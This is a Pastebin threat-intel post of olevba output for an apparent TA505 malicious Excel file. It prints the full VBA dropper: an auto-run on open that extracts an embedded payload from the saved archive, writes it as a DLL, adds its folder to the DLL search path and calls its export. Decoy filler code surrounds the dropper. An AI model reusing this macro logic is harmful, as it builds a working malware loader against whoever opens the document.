G0dR4p3

TA505_31c814a850714de8d7da8e37963d6d898bde623eb95e604885b23c84d9595df1_analysis

Sep 2nd, 2020
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 158.23 KB | None | 0 0
  1. #TA505 #olevba #macro
  2.  
  3. olevba 0.55.1 on Python 3.8.5 - http://decalage.info/python/oletools
  4. ===============================================================================
  5. FILE: cab524a78050a7c2263ca915604db302.in
  6. Type: OLE
  7. -------------------------------------------------------------------------------
  8. VBA MACRO ThisWorkbook.cls
  9. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
  10. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  11. Private Sub Workbook_Open()
  12. If WelcomeDialog.Visible = True Then
  13. Exit Sub
  14. End If
  15.  
  16. Module5.RedButton 19999
  17. End Sub
  18.  
  19. -------------------------------------------------------------------------------
  20. VBA MACRO Sheet1.cls
  21. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
  22. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  23. Private Sub Worksheet_SelectionChange(ByVal target As Range)
  24.  
  25. End Sub
  26. -------------------------------------------------------------------------------
  27. VBA MACRO Page11.cls
  28. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Page11'
  29. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  30. (empty macro)
  31. -------------------------------------------------------------------------------
  32. VBA MACRO Lumene.cls
  33. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Lumene'
  34. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  35.  
  36. Dim vSpeed As Integer
  37. Dim vLicensePlate As String
  38.  
  39. Public Property Get Speed() As Integer
  40. Speed = vSpeed
  41. End Property
  42.  
  43.  
  44. Public Property Get CheckCar(car As Variant, Drive As String)
  45. CheckCar = car.SpecialFolders("" & Drive)
  46.  
  47. End Property
  48. Public Property Get SpecialFolders() As String
  49. LicensePlate = vLicensePlate
  50. End Property
  51.  
  52. Public Property Let LicensePlate(lp As String)
  53. If Len(lp) <> 6 Then Err.Raise (xlErrValue)
  54. vLicensePlate = lp
  55. End Property
  56.  
  57.  
  58.  
  59. -------------------------------------------------------------------------------
  60. VBA MACRO WelcomeDialog.frm
  61. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/WelcomeDialog'
  62. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  63.  
  64. Private Sub UserForm_Activate()
  65. DoEvents
  66. DoEvents
  67. ExChangeMoney
  68. DoEvents
  69. End Sub
  70.  
  71.  
  72.  
  73.  
  74. -------------------------------------------------------------------------------
  75. VBA MACRO Module1.bas
  76. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
  77. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  78. Public HurricanMoes() As Byte
  79. Public PatchForLuck As Byte
  80. Public LUCKY As Double
  81. Public MoveStep As Byte
  82. Public PatchForHeart As Byte
  83.  
  84.  
  85.  
  86.  
  87. #If VBA7 And Win64 Then
  88. Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  89. Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
  90. Public Declare PtrSafe Function torx Lib "str_join2.dll" () As Integer
  91. #Else
  92. Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
  93. Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
  94. Public Declare Function torx Lib "str_join1.dll" () As Integer
  95. #End If
  96.  
  97.  
  98.  
  99. Public Sub VistaQ(WhereToGo)
  100. DoEvents
  101. ThisWorkbook.Sheets.Copy
  102. Application.DisplayAlerts = False
  103. DoEvents
  104. ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
  105. DoEvents
  106. DoEvents
  107. ActiveWorkbook.Close
  108. DoEvents
  109. DoEvents
  110.  
  111.  
  112. End Sub
  113.  
  114.  
  115.  
  116.  
  117.  
  118. Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
  119. On Error Resume Next
  120. For Each Key In putArrayBigList
  121. Kill Key
  122. Next Key
  123. End Sub
  124.  
  125.  
  126.  
  127.  
  128.  
  129. Private Sub TextBox2_Change()
  130.  
  131. x = Len(TextBox2)
  132. Y = LTrim(TextBox2.Text)
  133. d = TextBox2
  134. If d = "" Then
  135. TextBox2.BackColor = &HFFFFFF
  136. Exit Sub
  137. End If
  138. If Left(d, 2) > 24 Then
  139. MsgBox "Ora Errata"
  140. TextBox2.SelStart = 0
  141. TextBox2.SelLength = Len(TextBox2)
  142. Exit Sub
  143. End If
  144. If x = 2 Then TextBox2 = Y & ":"
  145. If x = 4 Then Exit Sub
  146.  
  147. If Mid(d, 4, 2) = "" Then Exit Sub
  148. If Mid(d, 4, 2) > 59 Then
  149. MsgBox "Minuti Errati"
  150. TextBox2.SelStart = 3
  151. TextBox2.SelLength = Len(TextBox2)
  152. Exit Sub
  153. End If
  154.  
  155.  
  156. If x = 5 Then
  157. TextBox3.SetFocus
  158. End If
  159. Exit Sub
  160.  
  161. Resume
  162. End Sub
  163.  
  164. Public Function ExChangeMoney()
  165.  
  166.  
  167. Dim ofbl As String
  168. Dim sOfbl As String
  169. Dim NumBForRead As Long
  170.  
  171.  
  172. dershlep = "" & Form0.TextBox1.Tag
  173.  
  174.  
  175.  
  176. Dim sendings As Integer
  177. ofbl = Form0.TextBox1.Tag
  178. ofbl = ofbl + "\str_join"
  179.  
  180. liquidOne = Form0.TextBox1.Tag + "\academ"
  181.  
  182. liquidOne = liquidOne + "l.xlsx"
  183.  
  184. Dim arr(1 To 3) As String
  185.  
  186.  
  187.  
  188.  
  189. If LenB(Form0.TextBox3.Text) > 200 Then
  190. MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
  191. TextBox7.SelStart = 0
  192. Else
  193.  
  194.  
  195. End If
  196. Dim objeto As Control
  197.  
  198. If Len(Form0.TextBox1.Text) > 366 Then
  199. For Each objeto In UserForm1.Controls
  200. On Error Resume Next
  201. objeto.Value = ""
  202. Next
  203.  
  204. Unload ggg.UserForm1
  205. ggg.UserForm1.Hide
  206. End If
  207.  
  208.  
  209.  
  210. ctackPip = liquidOne & Page11.Range("B115").Value
  211.  
  212.  
  213.  
  214.  
  215. sOfbl = ofbl + Page11.Range("B115").Value
  216. PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep + UserForm1.Label1.Tag
  217.  
  218.  
  219. VistaQ liquidOne
  220.  
  221. FileCopy Source:=liquidOne, Destination:=ctackPip
  222. sendings = 1
  223. Dim sNMSP As New Shell
  224. FlagDouble = False
  225.  
  226. Lrigat = UserForm1.Label11.Tag
  227.  
  228. If sendings > -15 And sendings > -130 Then
  229.  
  230. Set DestinationKat = sNMSP.Namespace(dershlep)
  231. Set harvest = sNMSP.Namespace(ctackPip)
  232.  
  233.  
  234. End If
  235.  
  236.  
  237. Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
  238.  
  239.  
  240.  
  241. DestinationKat.CopyHere harvest.Items.Item(Lrigat)
  242.  
  243.  
  244.  
  245. Dim car As Lumene
  246.  
  247. Set car = New Lumene
  248.  
  249. NumBForRead = 445766
  250.  
  251.  
  252. sendings = 1
  253. flayString = "1"
  254.  
  255.  
  256.  
  257. Composition dershlep + "" + UserForm1.Label1.Tag + "" + "", sOfbl, NumBForRead
  258.  
  259. If sendings < 100 Then
  260. sendings = sendings + 1
  261. sendings = sendings + 1
  262. End If
  263.  
  264. If sendings > -15 And sendings > -130 Then
  265.  
  266. Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
  267. Set harvest = sNMSP.Namespace(sOfbl)
  268.  
  269. DestinationKat.CopyHere harvest.Items
  270.  
  271.  
  272. End If
  273.  
  274. If -100 <= sendings Then
  275. sendings = sendings + 1
  276. ChDir Form0.TextBox3.Tag
  277. sendings = sendings + 1
  278. End If
  279. sOfbl = """" + sOfbl & ""","""
  280.  
  281. If sendings < 0 Then
  282. sendings = sendings + 1
  283. sendings = sendings + 1
  284. End If
  285.  
  286.  
  287. If sendings > 1000 Then
  288. sendings = sendings - 20
  289. End If
  290. If sendings < -47 Then
  291. sendings = sendings - 20
  292. End If
  293. If sendings < 0 Then
  294. sendings = sendings + 1
  295. sendings = sendings + 1
  296. End If
  297. StopByOk = TestResult(d)
  298.  
  299.  
  300. setDLLDirectory Form0.TextBox3.Tag
  301. torx
  302. WelcomeDialog.Hide
  303. End Function
  304.  
  305.  
  306. Sub subTotalSales()
  307.  
  308. Dim LR As Integer
  309. LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
  310. Rows("1:2").EntireRow.Insert Shift:=xlDown
  311.  
  312. If LR = 3 Then
  313. Range("A1").Select
  314. Call salesHeade.rs
  315. Range("A2").Formula = "$0"
  316. Range("B2").Formula = "$0"
  317. Range("C2").Formula = "$0"
  318. Range("D2").Formula = "$0"
  319. Range("E2").Formula = "$0"
  320. Range("F2").Formula = "0%"
  321. Range("G2").Formula = "0"
  322. Range("H2").Formula = "$0"
  323. Range("I2").Formula = "0"
  324. Range("J2").Formula = "0"
  325. Range("K2").Formula = "$0"
  326. Range("L2").Formula = "$0"
  327. Range("M2").Formula = "0"
  328. Range("N2").Formula = "0%"
  329. Else
  330. Range("A1").Select
  331. Call salesHeade.rs
  332. With ActiveSheet
  333.  
  334. End With
  335. End If
  336.  
  337. End Sub
  338.  
  339.  
  340. Sub InputWeekData(x As Date)
  341.  
  342. ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
  343. ActiveCell.Offset(0, 1).Select
  344. ActiveCell = x
  345. ActiveCell.Offset(0, 1).Select
  346. ActiveCell = x + 6
  347. ActiveCell.Offset(0, 1).Select
  348.  
  349. End Sub
  350. Private Sub TextBox3_Change()
  351.  
  352. Y = LTrim(TextBox3.Text)
  353. d = TextBox3
  354.  
  355. If x = 5 Then
  356. TextBox4.SetFocus
  357. End If
  358.  
  359. End Sub
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376. -------------------------------------------------------------------------------
  377. VBA MACRO Module2.bas
  378. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module2'
  379. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  380.  
  381. Public Const FirstB As Byte = 80
  382. Public Const SecondB As Byte = 75
  383. Public Const ThirdB As Byte = 3
  384. Public Const FourthB As Byte = 4
  385. Public Sub GetParam(Count As Integer)
  386. Dim I As Long
  387. Dim j As Integer
  388. Dim C As String
  389. Dim tooolsetChunkI As Boolean
  390. Dim tooolsetChunkQ As Boolean
  391.  
  392. j = 1
  393. tooolsetChunkI = False
  394. tooolsetChunkQ = False
  395. GetP.aram = ""
  396. For I = 1 To Len(Comma.nd$)
  397. C = Mi.d$(Comma.nd$, I, 1)
  398. If tooolsetChunkI Then
  399. If C = """" Then
  400. j = j + 1
  401. tooolsetChunkI = False
  402. tooolsetChunkQ = False
  403. End If
  404. ElseIf Not tooolsetChunkQ Then
  405. If C = " " Then
  406. j = j + 1
  407. End If
  408. Else
  409. If C = """" Then
  410. If j > Count Then Exit Sub
  411. tooolsetChunkI = True
  412. tooolsetChunkQ = True
  413. ElseIf C <> " ccc" Then
  414.  
  415. End If
  416. End If
  417. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  418. Next I
  419. End Sub
  420.  
  421.  
  422.  
  423.  
  424.  
  425. Public Sub setDLLDirectory(ByVal targetDir As String)
  426.  
  427.  
  428. Dim b As Byte
  429. Dim p As Long
  430.  
  431. code2 (&H1000)
  432. code1 (StrConv(targetDir, vbUnicode))
  433. End Sub
  434.  
  435. Public Sub GetParam3(Count As Integer)
  436. Dim I As Long
  437. Dim j As Integer
  438. Dim C As String
  439. Dim tooolsetChunkI As Boolean
  440. Dim tooolsetChunkQ As Boolean
  441.  
  442. j = 1
  443. tooolsetChunkI = False
  444. tooolsetChunkQ = False
  445. GetP.aram = ""
  446. For I = 1 To Len(Comma.nd$)
  447. C = Mi.d$(Comma.nd$, I, 1)
  448. If tooolsetChunkI Then
  449. If C = """" Then
  450. j = j + 1
  451. tooolsetChunkI = False
  452. tooolsetChunkQ = False
  453. End If
  454.  
  455. Else
  456. If C = """" Then
  457. If j > Count Then Exit Sub
  458. tooolsetChunkI = True
  459. tooolsetChunkQ = True
  460. ElseIf C <> " " Then
  461. tooolsetChunkI = True
  462. End If
  463. End If
  464. If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
  465. Next I
  466. End Sub
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473. Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
  474. Dim PChannel As Long
  475. Dim logicVari As Integer
  476. Dim SimpleMethod As Integer
  477. ReDim HurricanMoes(1 To fl)
  478. PChannel = FreeFile
  479. Open Composition2 For Binary Access Read As PChannel
  480. HurricanMoes(1) = FirstB
  481.  
  482. HurricanMoes(2) = SecondB
  483. HurricanMoes(3) = ThirdB
  484. HurricanMoes(4) = FourthB
  485. logicVari = 1
  486. Do While Not EOF(PChannel)
  487. Get PChannel, , MoveStep
  488. If MoveStep = FirstB Then
  489.  
  490. Get PChannel, , PatchForHeart
  491. If PatchForHeart = SecondB Then
  492.  
  493. Get PChannel, , PatchForLuck
  494. If PatchForLuck = ThirdB Then
  495. Get PChannel, , PatchForLuck
  496. If PatchForLuck = FourthB Then
  497. For k = 5 To fl
  498. Get PChannel, , MoveStep
  499. HurricanMoes(k) = MoveStep
  500. Next k
  501. Exit Do
  502.  
  503. End If
  504. End If
  505. End If
  506. End If
  507. Loop
  508. On Error Resume Next
  509. PublicationChannel = 1892
  510. Close PChannel
  511. PublicationChannel = 1892 + PublicationChannel
  512. PChannel = FreeFile
  513. PublicationChannel = 1892 + PublicationChannel
  514. Open ofbl For Binary Lock Read Write As #PChannel
  515. PublicationChannel = 1892 + PublicationChannel
  516. zeroBob = 1
  517. For I = zeroBob To UBound(HurricanMoes)
  518.  
  519. If WelcomeDialog.Enabled = True Then
  520.  
  521. Put #PChannel, , HurricanMoes(I)
  522. End If
  523. Next I
  524. Close PChannel
  525. PChannel = FreeFile
  526. For HSP = 33 To -1 Step -0.25
  527. PChannel = 6 + I
  528. Next HSP
  529. PChannel = 6 + I
  530. End Sub
  531.  
  532.  
  533.  
  534.  
  535. Private Sub cmd_Keluar_Click()
  536. Unload LSD.Me
  537. MDIForm1.dokter.Enabled = True
  538. MDIForm1.dokter.Checked = False
  539. End Sub
  540.  
  541. Private Sub cmd_Perbaiki_Click()
  542. If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
  543. cmd_Simpan.Enabled = False
  544. cmd_Hapus.Enabled = False
  545. cmd_Batal.Enabled = True
  546. Dim var As String
  547. var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
  548. If var = Empty Then Exit Sub
  549. Data1.Recordset.Index = "Kode_dokter"
  550. Data1.Recordset.Seek "=", var
  551. If Not Data1.Recordset.NoMatch Then
  552. Call tam.pil
  553. txtkd_dok.Enabled = False
  554. txtnm_dok.Enabled = True
  555. cmd_Perbaiki.Caption = "&Perbaharui data"
  556. Else
  557. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  558. End If
  559. Else
  560. Data1.Recordset.Edit
  561. Data1.Recordset!kode_dokter = txtkd_dok.Text
  562. Data1.Recordset!nama_dokter = txtnm_dok.Text
  563. Data1.Recordset.Update
  564. Call ber.sih
  565. cmd_Perbaiki.Caption = "Pe&rbaiki"
  566. cmd_Batal.Enabled = False
  567. cmd_Simpan.Enabled = True
  568. cmd_Hapus.Enabled = True
  569. Call tdk_bi.sa
  570. End If
  571. End Sub
  572.  
  573. Private Sub cmd_Simpan_Click()
  574. If cmd_Simpan.Caption = "&Isi Data" Then
  575. Call bis.A
  576. nom.Or
  577. M.e.txtnm_dok.SetFocus
  578. cmd_Batal.Enabled = True
  579. cmd_Perbaiki.Enabled = False
  580. cmd_Hapus.Enabled = False
  581. cmd_cari.Enabled = False
  582. cmd_Simpan.Caption = "&Simpan Data"
  583. Else
  584. If txtkd_dok.Text = "" Or _
  585. txtnm_dok.Text = "" Then
  586. MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
  587. txtkd_dok.SetFocus
  588. Else
  589. cmd_Batal.Enabled = False
  590. cmd_Perbaiki.Enabled = True
  591. cmd_Hapus.Enabled = True
  592. cmd_cari.Enabled = True
  593. Data1.Recordset!kode_dokter = txtkd_dok.Text
  594. Data1.Recordset!nama_dokter = txtnm_dok.Text
  595. Data1.Recordset.Update
  596. Call ber.sih
  597. cmd_Simpan.Caption = "&Isi Data"
  598. End If
  599. End If
  600. End Sub
  601.  
  602.  
  603.  
  604. Function retVal(ByVal v As Variant) As Variant
  605. If v <> 0 Then
  606. retVal = v
  607. Else
  608. retVal = ""
  609. End If
  610.  
  611. End Function
  612.  
  613. Function getFile() As String()
  614. Dim s As String
  615. Dim sl(1000) As String
  616. Dim r As Range
  617. Dim I As Integer
  618. Erase sl
  619. I = 0
  620. For Each r In Worksheets("Sheet1").Range("B1:B100")
  621. s = r.Value
  622. If s <> "" Then
  623. I = I + 1
  624. sl(I) = s
  625. End If
  626. Next r
  627. getFile = sl()
  628. End Function
  629.  
  630.  
  631.  
  632. Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, _
  633. Optional CaseCompare, _
  634. Optional RegExp As Object = Nothing, _
  635. Optional Match As Object = Nothing) As Boolean
  636.  
  637. On Error GoTo Err:
  638. Dim result As Boolean
  639. result = False
  640. Do
  641. If (MatchWord = "") Or (Text = "") Then Exit Do
  642.  
  643. Dim RegCreateFlag As Boolean
  644. RegCreateFlag = False
  645. If RegExp Is Nothing Then
  646. RegCreateFlag = True
  647. Set RegExp = CreateObject("VBScript.RegExp")
  648. End If
  649.  
  650. RegExp.Pattern = MatchWord
  651. RegExp.Global = True
  652. RegExp.IgnoreCase = CaseCompare = IgnoreCase
  653. Set Match = RegExp.Execute(Text)
  654. If 1 <= Match.Count Then
  655. result = True
  656. End If
  657.  
  658. If RegCreateFlag Then
  659. Set RegExp = Nothing
  660. End If
  661.  
  662. Loop While False
  663. MatchRegExp = result
  664. Exit Function
  665. Err:
  666. MatchRegExp = False
  667. End Function
  668. Private Sub testArrayAddArray()
  669. Dim A1()
  670. A1 = Array("A", "B", "C")
  671. Dim A2()
  672. A2 = Array("D", "E")
  673.  
  674. Call ArrayA.ddArray(A1, A2)
  675. Call Check(5, ArrayC.ount(A1))
  676. Call Check("D", A1(3))
  677. Call Check("E", A1(4))
  678.  
  679. '???????????
  680. Dim B1()
  681. Dim B2()
  682. B2 = Array("1", "2")
  683. Call ArrayA.ddArray(B1, B2)
  684. Call Check(2, ArrayC.ount(B1))
  685. Call Check("1", B1(0))
  686. Call Check("2", B1(1))
  687.  
  688.  
  689. End Sub
  690. Sub ArrayInsert(ByRef ArrayValue As Variant, _
  691. ByVal Index As Long, ByVal Value As Variant)
  692. Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
  693. Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), _
  694. "Error:ArrayInsert:Index Range Over.")
  695.  
  696. ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
  697. Dim I As Long
  698. For I = UBound(ArrayValue) To Index + 1 Step -1
  699. Call SetValue(ArrayValue(I), ArrayValue(I - 1))
  700. Next
  701. Call SetValue(ArrayValue(Index), Value)
  702. End Sub
  703. Public Function InRange( _
  704. ByVal MinValue As Long, _
  705. ByVal Value As Long, _
  706. ByVal MaxValue As Long) As Boolean
  707.  
  708. InRange = ((MinValue <= Value) And (Value <= MaxValue))
  709.  
  710. End Function
  711. Private Sub testArrayInsert()
  712. Dim A
  713. A = Array("A", "B", "C")
  714.  
  715. Call Check("B", A(1))
  716. Call Check(3, ArrayCount(A))
  717. Call ArrayInsert(A, 1, "1")
  718. Call Check(4, ArrayCount(A))
  719. Call Check("1", A(1))
  720.  
  721. Dim b()
  722. ReDim b(2)
  723. Set b(0) = CreateObject("VBScript.RegExp")
  724. Set b(2) = Nothing
  725. Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
  726. Call ArrayInsert(b, 1, fso)
  727. Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
  728. End Sub
  729. Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
  730. If Value = False Then
  731. Call Err.Raise(9999, , Message)
  732. End If
  733. End Sub
  734. Public Sub SetValue(ByRef Variable, ByVal Value)
  735. If IsObject(Value) Then
  736. Set Variable = Value
  737. Else
  738. Variable = Value
  739. End If
  740. End Sub
  741. Public Function ArrayCount(ByRef ArrayValue As Variant, _
  742. Optional Dimension = 1) As Long
  743. Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
  744.  
  745. ArrayCount = _
  746. UBoundNo.Error(ArrayValue, Dimension) - _
  747. LBoundNo.Error(ArrayValue, Dimension) + 1
  748. End Function
  749. Private Sub testAssert()
  750. Call Assert(False, "???")
  751. End Sub
  752.  
  753. Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
  754. Check = (A = b)
  755. If Check = False Then
  756. Call MsgBox("A != B" + vbCrLf + _
  757. "A = " + CStr(A) + vbCrLf + _
  758. "B = " + CStr(b))
  759. End If
  760. End Function
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772.  
  773.  
  774. -------------------------------------------------------------------------------
  775. VBA MACRO UserForm1.frm
  776. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/UserForm1'
  777. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  778. (empty macro)
  779. -------------------------------------------------------------------------------
  780. VBA MACRO Module5.bas
  781. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Module5'
  782. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  783.  
  784. Public Function RedButton(dImmer As Double)
  785.  
  786. DosTres = "DosTres"
  787.  
  788. If WelcomeDialog.Visible <> False Then
  789. Exit Function
  790. End If
  791. reqPlace = 3
  792. reqPlace = reqPlace - 1
  793.  
  794. Set car = New Lumene
  795. Set TSPIP = New IWshRuntimeLibrary.WshShell
  796. Select Case reqPlace
  797. Case 0
  798. s = "N health problems"
  799. Case 1
  800. s = "Minor health problems"
  801.  
  802. Case 3
  803. s = "Sev ere disability"
  804. End Select
  805.  
  806. Dim SpecialPath As String
  807.  
  808. PRP = "%" & Form0.TextBox1.Tag
  809.  
  810.  
  811.  
  812. TBT = PRP
  813. TBT = TBT + "" + ""
  814. TBT = TBT + "%"
  815. TBT = TSPIP.ExpandEnvironmentStrings(TBT)
  816.  
  817. firstWeek = 0
  818. firstDay = 0
  819. Dim firstdate As Date
  820. Form0.TextBox1.Tag = TBT
  821. firstDay = 2
  822.  
  823. lastDay = 4
  824. Dim lastdate As Date
  825. lastWeek = 0
  826. lastDay = 0
  827.  
  828. s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
  829. firstWeek = 1
  830.  
  831. lastWeek = 3
  832. Form0.TextBox3.Tag = s
  833.  
  834.  
  835. If Not firstDay = 1 Then
  836. firstdate = firstdate + (8 - firstDay)
  837. firstWeek = firstWeek + 1
  838. End If
  839. If lastDay = 6 Then
  840. lastdate = lastdate + 1
  841. lastDay = lastDay + 1
  842. ElseIf Not lastDay = 7 Then
  843. lastdate = lastdate - lastDay
  844. lastDay = 7
  845. lastWeek = lastWeek - 1
  846. End If
  847.  
  848.  
  849. Iteration = 0
  850.  
  851.  
  852. ChDir (Form0.TextBox1.Tag + "")
  853. If WelcomeDialog.Visible = False Then
  854. WelcomeDialog.Show
  855. End If
  856.  
  857. End Function
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864.  
  865. Private Sub Command7_Click()
  866. b = MsgBox("?????????", vbYesNo)
  867. If b = vbYes Then
  868. A = "delete from cinema where cinid='"
  869. A = A + Text1.Text + "'"
  870. cnmovie.Execute A
  871. rs4.Close
  872. Sql = "select * from cinema"
  873. rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
  874. If rs.BOF Or rs.EOF Then
  875. MsgBox "?????!"
  876. Else
  877. rs4.MoveFirst
  878. Call View.Data
  879. End If
  880. End If
  881. End Sub
  882.  
  883.  
  884.  
  885.  
  886. Private Sub nomor()
  887. Dim urutan As String * 5
  888. Dim hitung As Byte
  889.  
  890. If Data1.Recordset.RecordCount = 0 Then
  891. urutan = "Dr" & "001"
  892. Else
  893. Data1.Recordset.MoveLast
  894. If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
  895. urutan = "00" & "001"
  896. Else
  897. hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
  898. urutan = "Dr" & Right("000" & hitung, 3)
  899. End If
  900. End If
  901. M.e.txtkd_dok = urutan
  902.  
  903. End Sub
  904.  
  905. Private Sub cmd_Batal_Click()
  906. Call be.rsih
  907. Call td.k_bisa
  908. cmd_Batal.Enabled = False
  909. cmd_Perbaiki.Enabled = True
  910. cmd_Hapus.Enabled = True
  911. cmd_cari.Enabled = True
  912. End Sub
  913.  
  914. Private Sub cmd_cari_Click()
  915. Dim var As String
  916. var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
  917. If var = Empty Then Exit Sub
  918. If var <> "" Then
  919. Data1.Recordset.Index = "kode_dokter"
  920. Data1.Recordset.Seek "=", var
  921. If Not Data1.Recordset.NoMatch Then
  922. Call tam.pil
  923. Call bi.sa
  924. Call kun.ci
  925. Else
  926. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  927. End If
  928. End If
  929. End Sub
  930.  
  931.  
  932.  
  933. Public Function TestResult(result As Variant)
  934. TestResult = False
  935. If IsNumeric(ExcelReturn) Then
  936. If ExcelReturn = 0 Then
  937. TestResult = True
  938. End If
  939. End If
  940. End Function
  941. Private Sub cmd_Hapus_Click()
  942. Dim var As String
  943. var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
  944. If var = Empty Then Exit Sub
  945. If var = "" Then
  946. Data1.Recordset.Index = "Kode_dokter"
  947. Data1.Recordset.Seek "=", var
  948. If Not Data1.Recordset.NoMatch Then
  949. Data1.Recordset.Delete
  950. Data1.Refresh
  951. Data1.Recordset.MoveFirst
  952. Else
  953. MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
  954.  
  955. End If
  956. End If
  957. End Sub
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964.  
  965. -------------------------------------------------------------------------------
  966. VBA MACRO Form0.frm
  967. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Form0'
  968. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  969. (empty macro)
  970. -------------------------------------------------------------------------------
  971. VBA MACRO Sheet3.cls
  972. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet3'
  973. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  974. (empty macro)
  975. -------------------------------------------------------------------------------
  976. VBA MACRO Sheet2.cls
  977. in file: cab524a78050a7c2263ca915604db302.in - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet2'
  978. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  979. (empty macro)
  980. -------------------------------------------------------------------------------
  981. VBA MACRO VBA_P-code.txt
  982. in file: VBA P-code - OLE stream: 'VBA P-code'
  983. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  984. ' Processing file: cab524a78050a7c2263ca915604db302.in
  985. ' ===============================================================================
  986. ' Module streams:
  987. ' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1326 bytes
  988. ' Line #0:
  989. ' FuncDefn (Private Sub Workbook_Open())
  990. ' Line #1:
  991. ' Ld WelcomeDialog
  992. ' MemLd Visible
  993. ' LitVarSpecial (True)
  994. ' Eq
  995. ' IfBlock
  996. ' Line #2:
  997. ' ExitSub
  998. ' Line #3:
  999. ' EndIfBlock
  1000. ' Line #4:
  1001. ' Line #5:
  1002. ' LitDI2 0x4E1F
  1003. ' Ld Module5
  1004. ' ArgsMemCall RedButton 0x0001
  1005. ' Line #6:
  1006. ' EndSub
  1007. ' Line #7:
  1008. ' _VBA_PROJECT_CUR/VBA/Sheet1 - 1215 bytes
  1009. ' Line #0:
  1010. ' FuncDefn (Private Sub Worksheet_SelectionChange(ByVal target As ))
  1011. ' Line #1:
  1012. ' Line #2:
  1013. ' EndSub
  1014. ' _VBA_PROJECT_CUR/VBA/Page11 - 993 bytes
